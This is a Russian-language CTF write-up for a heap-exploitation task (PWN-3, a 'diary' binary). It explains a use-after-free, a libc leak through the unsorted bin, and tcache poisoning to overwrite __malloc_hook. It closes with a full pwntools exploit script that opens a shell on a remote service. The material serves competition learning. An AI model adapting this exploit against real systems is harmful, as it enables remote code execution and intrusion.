# PWN-3 Оценка: 30 ## Описание В данном задании необходимо проэксплуатировать бинарную уязвимость, связанную с небезопасной работой с кучей. [Файл №1](https://github.com/dered-cybersecurity/nto_2023/blob/main/1-offensive/PWN-3/54ad182d-e7ea-4765-bfb8-c79304504f42_diary.zip) ## Решение Задание представляет собой имитацию дневника. Доступен функционал создания, чтения, удаления и изменения записей. ![](https://i.imgur.com/RJfXs48.jpg) ![](https://i.imgur.com/h1mJ9HQ.jpg) Вся структура напоминает классическое задание на эскплуатию небезопасной работы с памятью. ```c void printMenu() { puts("1) Add"); puts("2) Edit"); puts("3) View"); puts("4) Remove"); puts("5) Exit"); } ``` Сразу же ясeн характер уязвимости: при удалении записи указатель на область кучи на заменяется нулем, что позволяет с помощью методов редактирования и чтения записей обращаться к освобожденным участкам кучи (UAF). ```c void deleteGrade() { //...// free(diary[index] -> comment); free(diary[index]); } ``` ### Getting leak Прежде всего воспользуемся найденной уязвимостью, чтобы получить базовый адрес libc. Для этого, освободив достаточно большой для попадания в `unsorted bin` участок памяти, посмотрим его содержимое методом `viewGrade()`. У чанков в `unsorted bin` на месте указателя `fd` будет лежать адрес `main_arena`, которая находится как раз где-то внутри glibc. *структура malloc_chunk для напоминания* ```c struct malloc_chunk { INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk, if it is free. */ INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */ struct malloc_chunk* fd; /* double links -- used only if this chunk is free. */ struct malloc_chunk* bk; }; ``` ### Getting RCE Чтобы перехватить управление исполнением программы, воспользуемся тем, что в версии glibc задания все еще присутствуют символы `__free_hook`, `__malloc_hook` и `__realloc_hook`. Переписав их значение на указатель интересующей нас функции (разумеется, `system`), мы сможем, подав в качестве аргумента функции `free()` указатель на аллоцированный кусок памяти со строкой `/bin/sh`, получить shell. Для этого будет исполнена техника -[`tcache_poisoning`](https://github.com/shellphish/how2heap/blob/master/glibc_2.31/tcache_poisoning.c). Переписав в "отравленном" чанке указатель `fd` на адрес `__free_hook`, мы сможем, выделив его себе под запись, изменить значение на адрес функции `system`. ### Payload ```py import pwn from os import getenv ONE_GADGETS = [0xe699e, 0xe69a1, 0xe69a4, 0x10af39] io = pwn.remote(getenv("IP"), int(getenv("PORT"))) def Add(mark, size, comment): io.sendline(b"1") io.recvuntil(b": ") io.sendline(str(mark).encode()) io.recvuntil(b": ") io.sendline(str(size).encode()) io.recvuntil(b": ") io.send(comment) io.recvuntil(b": ") def Edit(index, mark, size, data): io.sendline(b"2") io.sendlineafter(b': ', str(index).encode()) io.sendlineafter(b': ', str(mark).encode()) io.sendlineafter(b': ', str(size).encode()) io.sendlineafter(b': ', data) io.recvuntil(b": ") def View(index): io.sendline(b"3") io.sendlineafter(b': ', str(index).encode()) comment = io.recvuntil(b'1)')[15:] io.recvuntil(b": ") return comment def Remove(index): io.sendline(b"4") io.sendlineafter(b': ', str(index).encode()) io.recvuntil(": ") def Exit(): io.sendline(b'5') io.interactive() Add(0, 0x410, b"/bin/bash") # 0 Add(1, 0x40, b"/bin/bash") # 1 Add(2, 0x40, b"/bin/bash") # 2 # fill up tcache and prevent chunk consolidation for i in range(3, 10): Add(i, 0x60, b"/bin/bash") for i in range(3, 10): Remove(i) # move large chunk to unsorted bin Remove(0) leak = View(0) leak = leak.split(b': ')[2][:-2] leak = int.from_bytes(leak, byteorder="little") libc_base = leak - 0x1eabe0 print("[+] leak: ", hex(leak)) print("[+] base: ", hex(libc_base)) # tcache poisoning Remove(1) Remove(2) # malloc hook Edit(2, 5, 0x40, pwn.p64(libc_base + 0x1eab5d)) Add(0, 0x40, b"/bin/bash") Add(0, 0x40, b"\x00"*19 + pwn.p64(libc_base + ONE_GADGETS[1])) io.sendline(b"1") io.interactive() ```